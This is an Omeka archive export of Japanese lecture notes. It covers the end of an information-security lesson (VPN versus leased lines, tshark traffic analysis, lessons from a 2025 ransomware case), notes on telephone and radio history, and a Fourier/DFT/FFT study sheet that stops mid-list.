          │ └─────────────┘    │
          │                    │
          └── [通信事業者] ────┘
                &lt;/pre&gt;
&lt;h4&gt;選択基準&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ&lt;/strong&gt;: VPN &amp;gt; 専用線&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コスト&lt;/strong&gt;: 専用線 &amp;gt; VPN&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可用性&lt;/strong&gt;: 専用線 &amp;gt; VPN&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ベストプラクティス&lt;/strong&gt;: 要件に応じた最適な選択&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="tech-section"&gt;
&lt;h3&gt;2.5 ネットワーク分析技術&lt;/h3&gt;
&lt;h4&gt;ネットワーク分析技術とは&lt;/h4&gt;
&lt;p&gt;ネットワーク分析技術は、ネットワークトラフィックを詳細に解析し、セキュリティインシデントの検知、パフォーマンス問題の特定、ネットワーク設計の最適化などを行うための技術です。Wiresharkなどのツールを使用して、パケットレベルでの詳細な分析を可能にします。&lt;/p&gt;
&lt;h4&gt;Wiresharkによるトラフィック解析&lt;/h4&gt;
&lt;h4&gt;Wiresharkとは&lt;/h4&gt;
&lt;p&gt;Wiresharkは、ネットワークトラフィックをキャプチャし、詳細に解析するためのオープンソースのネットワークプロトコルアナライザーです。リアルタイムでのパケットキャプチャ、プロトコル解析、統計情報の提供など、ネットワーク分析に必要な機能を包括的に提供します。&lt;/p&gt;
&lt;h4&gt;分析フロー図&lt;/h4&gt;
&lt;pre&gt;[ネットワーク] ──┐
                  │
                  │ キャプチャ
                  │ ┌─────────────┐
                  │ │Packet       │
                  │ │Capture      │
                  │ └─────────────┘
                  │
                  │ フィルタリング
                  │ ┌─────────────┐
                  │ │Filter       │
                  │ │Rules        │
                  │ └─────────────┘
                  │
                  │ 解析・分析
                  │ ┌─────────────┐
                  │ │Protocol     │
                  │ │Analysis     │
                  │ └─────────────┘
                  │
                  │ レポート作成
                  │ ┌─────────────┐
                  │ │Report       │
                  │ │Generation   │
                  │ └─────────────┘
                &lt;/pre&gt;
&lt;h4&gt;実装方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;キャプチャ設定&lt;/strong&gt;: インターフェース選択、フィルタ設定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分析手順&lt;/strong&gt;: パケット解析、プロトコル識別、統計情報生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;:
&lt;pre&gt;# Wiresharkコマンドライン例
tshark -i eth0 -f "tcp port 80" -w capture.pcap
tshark -r capture.pcap -T fields -e ip.src -e ip.dst
                        &lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ベストプラクティス&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;セキュリティ&lt;/strong&gt;: 機密情報の保護、アクセス制御の実装&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分析&lt;/strong&gt;: 自動化ツールの活用、定期的な監視の実装&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レポート&lt;/strong&gt;: 標準化されたレポート形式、自動レポート生成&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;3. 総括と教訓&lt;/h2&gt;
&lt;h3&gt;総括&lt;/h3&gt;
&lt;p&gt;本資料では、2025年に発生したアスクルのランサムウェア攻撃事件とAWSのサーバー障害事件を事例として取り上げ、現代の企業が直面するサイバーセキュリティの課題と対策技術について詳述しました。これらの事例から得られる教訓は、企業のセキュリティ戦略に重要な示唆を与えるものです。&lt;/p&gt;
&lt;h3&gt;3.1 主要な教訓&lt;/h3&gt;
&lt;h4&gt;1. サプライチェーン全体のセキュリティ対策&lt;/h4&gt;
&lt;p&gt;アスクル事件では、単一企業のセキュリティ対策だけでは不十分であることが明らかになりました。取引先や委託先を含むサプライチェーン全体でのセキュリティ対策の連携が不可欠です。&lt;/p&gt;
&lt;h4&gt;2. クラウド依存のリスク管理&lt;/h4&gt;
&lt;p&gt;AWS障害事件では、クラウドサービスへの過度な依存が事業継続に大きなリスクをもたらすことが示されました。マルチクラウド戦略やオンプレミスとのハイブリッド構成の検討が重要です。&lt;/p&gt;
&lt;h4&gt;3. 事業継続計画（BCP）の重要性&lt;/h4&gt;
&lt;p&gt;障害発生時の対応手順を事前に明確化し、定期的な訓練と見直しを行うことで、インシデント発生時の影響を最小限に抑えることができます。&lt;/p&gt;
&lt;h4&gt;4. 継続的な改善&lt;/h4&gt;
&lt;p&gt;セキュリティと可用性の両面での対策強化を継続的に行い、最新の脅威情報と技術動向を踏まえた対策の更新が重要です。&lt;/p&gt;
&lt;h3&gt;3.2 重要なポイント&lt;/h3&gt;
&lt;h4&gt;技術的対策と組織的対策の両立&lt;/h4&gt;
&lt;p&gt;技術的なセキュリティ対策だけでなく、従業員の教育、セキュリティポリシーの整備、インシデント対応体制の構築など、組織的な対策も並行して実施する必要があります。&lt;/p&gt;
&lt;h4&gt;サプライチェーン全体でのリスク管理&lt;/h4&gt;
&lt;p&gt;自社だけでなく、取引先や委託先のセキュリティレベルも定期的に評価し、必要に応じて改善を促す仕組みを構築することが重要です。&lt;/p&gt;
&lt;h4&gt;継続的な改善と最新技術の活用&lt;/h4&gt;
&lt;p&gt;セキュリティ技術は日々進歩しており、最新の脅威に対応するためには、継続的な技術の更新と改善が不可欠です。&lt;/p&gt;
&lt;h4&gt;インシデント対応体制の整備&lt;/h4&gt;
&lt;p&gt;インシデント発生時の迅速な対応を可能にするため、明確な役割分担、連絡体制、対応手順を事前に整備しておく必要があります。&lt;/p&gt;
&lt;h4&gt;情報共有と連携の重要性&lt;/h4&gt;
&lt;p&gt;業界団体や政府機関、他社との情報共有により、最新の脅威情報を効率的に収集し、対策の効果を高めることができます。&lt;/p&gt;
&lt;h3&gt;3.3 今後の展望&lt;/h3&gt;
&lt;p&gt;これらの教訓を踏まえ、企業は包括的なセキュリティ戦略を策定し、継続的に改善を進めることが重要です。特に、AIや機械学習を活用した高度な脅威検知技術、ゼロトラストセキュリティモデルの導入、クラウドネイティブセキュリティの実装など、最新技術を積極的に取り入れることで、より強固なセキュリティ体制を構築することが可能になります。&lt;/p&gt;
&lt;p&gt;情報セキュリティ事件・障害事例と対策技術 - 2025年&lt;/p&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1865">
                <text>情報セキュリテイ6</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1866">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1867">
                <text>2025-10-30</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1868">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="113" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1864">
              <text>&lt;h3&gt;電信・電話の基礎&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;電信：電気のエネルギーで信号を送る（送信には発信機と受信機が必要）。&lt;/li&gt;
&lt;li&gt;電話：電気のエネルギーで音声を送る。最大の強みはリアルタイムの音声伝達。&lt;/li&gt;
&lt;li&gt;通信は発信者と受信者が共通の信号ルール（プロトコル）を認識していることが前提。国際的標準化により相互接続が可能に。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;電話の普及と社会的文脈（個人空間の拡張）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;アメリカでは、都会よりも農村部から電話が普及。特に農村の女性が主要な利用者層となり、家庭内の個人的コミュニケーション（雑談・おしゃべり）が商品化。&lt;/li&gt;
&lt;li&gt;電話の普及は新たな産業を創出し、サービス網（交換局、回線保守、課金システムなど）が形成された。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;交換局と通話の仕組み（手動交換の時代）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;通話の流れ：&lt;ul&gt;
&lt;li&gt;自分 → 電話交換手 → 友達&lt;/li&gt;
&lt;li&gt;発信機 → 交換局 → 受信機（交換局で相手の回線へ物理的に接続）&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;長距離通話は交換局同士を段階的に接続して中継。&lt;/li&gt;
&lt;li&gt;手動交換を担ったのが電話交換手。電話の普及に伴い誕生した職業で、女性が多かった（電報配達は走行を伴うため男性が多かった背景と対比）。&lt;/li&gt;
&lt;li&gt;要点：発信機と受信機という二要素で電話系が成立するが、初期は人手の運用（交換）が不可欠だった。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;ラジオの発明と無線技術（公共空間の拡張）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ラジオ＝無線技術。電磁気学（電磁場・磁気）の発展が技術進歩を後押し。&lt;/li&gt;
&lt;li&gt;ファラデーの研究（日本では『ろうそくの科学』で知られる）が基礎科学を支え、応用として無線へ展開。&lt;/li&gt;
&lt;li&gt;無線装置の黎明期はアマチュア無線家の貢献が大きく、特にイタリアのマルコーニの業績が顕著。&lt;/li&gt;
&lt;li&gt;比喩的に言えば、平賀源内のエレキテルのように、実験的装置から社会的技術へ発展した。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;ヨーロッパの文化的背景とラジオの受容&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;古典的自然観：火・水・土・エーテル。エーテルは目に見えない空間を満たすと考えられ、無線は「線なき伝達＝エーテルを介する」神秘的現象として受容された側面がある。&lt;/li&gt;
&lt;li&gt;ヨーロッパでは音楽文化が盛んで、自宅に人を招くホームパーティーや音楽クラブの伝統、オーケストラ・オペラに触れる機会が多い。&lt;/li&gt;
&lt;li&gt;そのため「リアルタイムで音楽を遠方へ届ける」価値が高く評価され、様々な音楽を編成する番組表が生まれた。&lt;/li&gt;
&lt;li&gt;「行きたくても行けない」ニーズ（距離・費用・席数の制約）を満たす公共的メディアとしてラジオが成立（公共空間の拡張）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;アメリカの実用主義と技術受容&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;ヨーロッパが伝統を重んじる傾向に対し、アメリカでは「使えるものは使う」という実用主義が強い。&lt;/li&gt;
&lt;li&gt;電話は生活課題を即時に解決する実用品として広がり、ビジネス・農業・家庭運営に組み込まれた。&lt;/li&gt;
&lt;/ul&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1860">
                <text>情報文化論７</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1861">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="40">
            <name>Date</name>
            <description>A point or period of time associated with an event in the lifecycle of the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1862">
                <text>2025-10-30</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1863">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="112" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1859">
              <text>&lt;h1&gt;フーリエ変換と離散フーリエ変換&lt;/h1&gt;
&lt;h2&gt;1. 連続時間フーリエ変換&lt;/h2&gt;
&lt;h3&gt;1.1 基本概念&lt;/h3&gt;
&lt;p&gt;連続時間信号（アナログ信号）において、フーリエ変換は「ある角周波数ごと」に、無限の時間範囲で関数を積分して、各周波数成分の大きさや位相を求める方法です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;フーリエ変換の定義：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$X(\Omega) = \int_{-\infty}^{\infty} x(t) e^{-j\Omega t} dt$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;逆フーリエ変換：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$x(t) = \frac{1}{2\pi} \int_{-\infty}^{\infty} X(\Omega) e^{j\Omega t} d\Omega$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;収束条件：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;信号$x(t)$が絶対可積分である：$\int_{-\infty}^{\infty} |x(t)| dt &amp;lt; \infty$&lt;/li&gt;
&lt;li&gt;または、エネルギー有限：$\int_{-\infty}^{\infty} |x(t)|^2 dt &amp;lt; \infty$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;手順：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;フーリエ変換を求める&lt;/li&gt;
&lt;li&gt;その値の絶対値を求める（振幅スペクトル）&lt;/li&gt;
&lt;li&gt;位相情報も含めて周波数成分を解析する&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;1.2 例：250Hzの正弦波&lt;/h3&gt;
&lt;p&gt;250Hzの正弦波を持つ信号x(t)の周波数振幅スペクトルについて：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;時間波形：&lt;/strong&gt; 1周期は$4\times 10^{-3}$秒（1/250 = 0.004秒）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;振幅スペクトル：&lt;/strong&gt; 250Hzの点のみにスペクトルが現れる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;図1: 250Hz正弦波の周波数スペクトル&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;振幅
  |
  |     δ(Ω-2π×250)    δ(Ω+2π×250)
  |     |              |
  |-----+--------------+----- 周波数
       -250Hz         250Hz
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;連続時間フーリエ変換では、$\pm 250$Hzの位置にディラックのデルタ関数が現れる&lt;/li&gt;
&lt;li&gt;正の周波数成分と負の周波数成分が対称に存在&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.3 三角関数のフーリエ変換&lt;/h3&gt;
&lt;h4&gt;余弦関数のフーリエ変換&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;x(t) = A cos(at)&lt;/strong&gt; （Aとaはそれぞれ任意の実数）のフーリエ変換$X(\Omega)$は：&lt;/p&gt;
&lt;p&gt;$$X(\Omega) = A\pi\{ \delta(\Omega - a) + \delta(\Omega + a) \}$$&lt;/p&gt;
&lt;p&gt;任意の振幅でマイナスとプラスの領域でΩとの差に対してディラックのデルタ関数で表される。&lt;/p&gt;
&lt;h4&gt;正弦関数のフーリエ変換&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;x(t) = A sin(at)&lt;/strong&gt; （Aとaはそれぞれ任意の実数）のフーリエ変換$X(\Omega)$は：&lt;/p&gt;
&lt;p&gt;$$X(\Omega) = jA\pi\{ -\delta(\Omega - a) + \delta(\Omega + a) \}$$&lt;/p&gt;
&lt;h4&gt;ディラックのデルタ関数&lt;/h4&gt;
&lt;p&gt;$\delta(\Omega)$はディラックのデルタ関数と呼ばれる&lt;strong&gt;超関数（distribution）&lt;/strong&gt;で、次の性質を満たします：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;定義：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$\int_{-\infty}^{\infty} \delta(x)\,dx = 1$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重要な性質：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;任意の連続関数$f(x)$に対して：$\int_{-\infty}^{\infty} \delta(x-a)f(x)\,dx = f(a)$&lt;/li&gt;
&lt;li&gt;フーリエ変換：$\mathcal{F}\{\delta(x)\} = 1$（定数関数）&lt;/li&gt;
&lt;li&gt;逆フーリエ変換：$\mathcal{F}^{-1}\{1\} = \delta(x)$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt; $\delta(x)$は通常の関数ではなく、超関数として定義されます。直感的には「x=0で無限大、それ以外で0」と考えることができますが、数学的には積分による作用で定義されます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;性質：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;sin、cosの周波数振幅スペクトルは$-a$と$a$のところでディラックのデルタ関数が現れる&lt;/li&gt;
&lt;li&gt;絶対値を取るのでどちらも同じ結果になる&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;2. 離散時間フーリエ変換&lt;/h2&gt;
&lt;h3&gt;2.1 基本概念&lt;/h3&gt;
&lt;p&gt;離散時間フーリエ変換は、離散信号を周波数領域に変換する方法です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;離散時間フーリエ変換の定義：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$X(e^{j\omega}) = \sum_{n=-\infty}^{\infty} x(n) e^{-j\omega n}$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;変数の定義：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$\Omega$：連続時間の角周波数[rad/sec] - 1秒に進む角度&lt;/li&gt;
&lt;li&gt;$\omega$：離散時間の正規化角周波数[rad] - 1サンプルあたりに進む値&lt;/li&gt;
&lt;li&gt;関係式：$\omega = \Omega T$（Tはサンプリング周期）&lt;/li&gt;
&lt;li&gt;$x(n)$：離散時間信号（nは整数）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;手順：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;離散時間フーリエ変換を実行する&lt;/li&gt;
&lt;li&gt;絶対値を取って振幅スペクトルを求める&lt;/li&gt;
&lt;li&gt;正規化角周波数$\omega$を物理周波数に変換する（$\omega = \Omega T$）&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2 例：250Hz信号のサンプリング&lt;/h3&gt;
&lt;p&gt;250Hzを標本化周波数2000Hzでサンプリングした場合：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;離散時間フーリエ変換して絶対値を取る&lt;/li&gt;
&lt;li&gt;周波数振幅スペクトルは250Hzと1750Hzでスペクトルが現れる&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;離散時間フーリエ変換の性質：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;離散時間フーリエ変換は周期的な性質を持ちます。250Hz信号を2000Hzでサンプリングした場合：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;元の250Hz成分はそのまま現れる&lt;/li&gt;
&lt;li&gt;離散化により、周波数軸上で2000Hz間隔で繰り返される&lt;/li&gt;
&lt;li&gt;実際にはエイリアシングは発生しない（250Hz &amp;lt; 1000Hz）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;サンプリング定理とエイリアシング&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;サンプリング定理（ナイキスト・シャノンの定理）：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;連続信号を正確に復元するには、サンプリング周波数$f_s$が信号の最高周波数$f_{max}$の2倍以上である必要がある&lt;/li&gt;
&lt;li&gt;条件：$f_s \geq 2f_{max}$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;エイリアシング現象：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;サンプリング周波数の半分（ナイキスト周波数$f_N = f_s/2$）を超える周波数成分は、低い周波数に折り返される&lt;/li&gt;
&lt;li&gt;250Hz信号を2000Hzでサンプリングした場合：
&lt;ul&gt;
&lt;li&gt;ナイキスト周波数：1000Hz&lt;/li&gt;
&lt;li&gt;250Hz &amp;lt; 1000Hzなので、エイリアシングは発生しない&lt;/li&gt;
&lt;li&gt;しかし、離散化により1750Hz（2000-250）の成分も現れる&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;エイリアシングの例：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1750Hzの信号を2000Hzでサンプリングすると、250Hzの信号として観測される&lt;/li&gt;
&lt;li&gt;これが「エイリアス（偽の周波数）」と呼ばれる理由&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;図2: エイリアシング現象の図解&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;連続信号のスペクトル
振幅
  |
  |     |              |              |
  |-----+--------------+--------------+----- 周波数
       -1750Hz         250Hz          1750Hz

サンプリング後の離散信号スペクトル
振幅
  |
  |     |              |              |
  |-----+--------------+--------------+----- 周波数
       -250Hz          250Hz          1750Hz
  |     ↑              ↑              ↑
  |   エイリアス      元の信号        エイリアス
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;1750Hzの信号が250Hz（2000-1750）に折り返される&lt;/li&gt;
&lt;li&gt;ナイキスト周波数（1000Hz）を超える周波数成分が低周波に現れる&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;3. 離散フーリエ変換（DFT）&lt;/h2&gt;
&lt;h3&gt;3.1 基本概念&lt;/h3&gt;
&lt;p&gt;離散フーリエ変換は、スペクトルを周波数に対して離散的にしたフーリエ変換です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;特徴：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;各サンプルのデータが何ヘルツ間隔になっているかでサンプルの間隔が変化する&lt;/li&gt;
&lt;li&gt;サンプル間隔 = サンプリング周波数 ÷ サンプル数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;注意点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;多くの教科書では周波数でなく、サンプル数で記述されていることが多い&lt;/li&gt;
&lt;li&gt;終点はサンプリング周波数の手前のサンプルになる&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 具体例&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;サンプリング周波数2000Hzの場合：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;8点離散フーリエ変換：&lt;/strong&gt; 周波数分解能は250Hz（2000/8）、最大周波数は1000Hz（ナイキスト周波数）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;16点離散フーリエ変換：&lt;/strong&gt; 周波数分解能は125Hz（2000/16）、最大周波数は1000Hz（ナイキスト周波数）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;図3: DFTの周波数分解能&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;8点DFTの場合（ナイキスト周波数まで）
周波数軸: 0Hz, 250Hz, 500Hz, 750Hz, 1000Hz
         |     |     |     |      |
         |-----|-----|-----|------|
         0    250   500   750   1000
         ↑     ↑     ↑     ↑      ↑
       DC   250Hz  500Hz  750Hz  1000Hz

16点DFTの場合（ナイキスト周波数まで）
周波数軸: 0Hz, 125Hz, 250Hz, ..., 1000Hz
         |     |      |              |
         |-----|------|--------------|
         0    125    250           1000
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;DFTの点数が多いほど、周波数分解能が向上する&lt;/li&gt;
&lt;li&gt;周波数間隔 = サンプリング周波数 / DFT点数&lt;/li&gt;
&lt;li&gt;最大解析周波数は常にナイキスト周波数（$f_s/2$）まで&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.3 離散フーリエ変換（DFT）の定義&lt;/h3&gt;
&lt;h4&gt;定義と式&lt;/h4&gt;
&lt;p&gt;N点離散フーリエ変換（DFT）は、次の式で定義されます：&lt;/p&gt;
&lt;p&gt;$$X(k) = \sum_{n=0}^{N-1} x(n) W_N^{kn}$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;変数の説明：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$X(k)$: 周波数スペクトル（$k=0,1,\ldots,N-1$）&lt;/li&gt;
&lt;li&gt;$x(n)$: 時間領域の離散信号&lt;/li&gt;
&lt;li&gt;$W_N$: 回転因子&lt;/li&gt;
&lt;li&gt;$N$: DFTの点数&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;回転因子（複素指数関数）&lt;/h4&gt;
&lt;p&gt;$$W_N = e^{-j \frac{2\pi}{N}}$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;$W_N$の具体展開（オイラーの公式の利用）：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$W_N = e^{-j\frac{2\pi}{N}} = \cos\left(\frac{2\pi}{N}\right) - j \sin\left(\frac{2\pi}{N}\right)$$&lt;/p&gt;
&lt;p&gt;したがって：&lt;/p&gt;
&lt;p&gt;$$W_N^{kn} = \cos\left(\frac{2\pi kn}{N}\right) - j \sin\left(\frac{2\pi kn}{N}\right)$$&lt;/p&gt;
&lt;h3&gt;3.4 高速フーリエ変換（FFT）&lt;/h3&gt;
&lt;h4&gt;FFTの基本概念&lt;/h4&gt;
&lt;p&gt;FFT（Fast Fourier Transform）は、DFTを効率的に計算するアルゴリズムです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;計算量の比較：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;DFTの直接計算：&lt;/strong&gt; $O(N^2)$の計算量&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FFT：&lt;/strong&gt; $O(N \log N)$の計算量&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;FFTの利点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;計算時間の大幅な短縮&lt;/li&gt;
&lt;li&gt;メモリ使用量の削減&lt;/li&gt;
&lt;li&gt;実用的な信号処理が可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;FFTの種類&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;代表的なFFTアルゴリズム：&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Cooley-Tukey FFT：&lt;/strong&gt; 最も一般的なFFTアルゴリズム&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Radix-2 FFT：&lt;/strong&gt; データ点数が2のべき乗の場合に最適&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Radix-4 FFT：&lt;/strong&gt; データ点数が4のべき乗の場合に効率的&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;制約：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;多くのFFTアルゴリズムは、データ点数が2のべき乗（2, 4, 8, 16, 32, ...）であることを要求&lt;/li&gt;
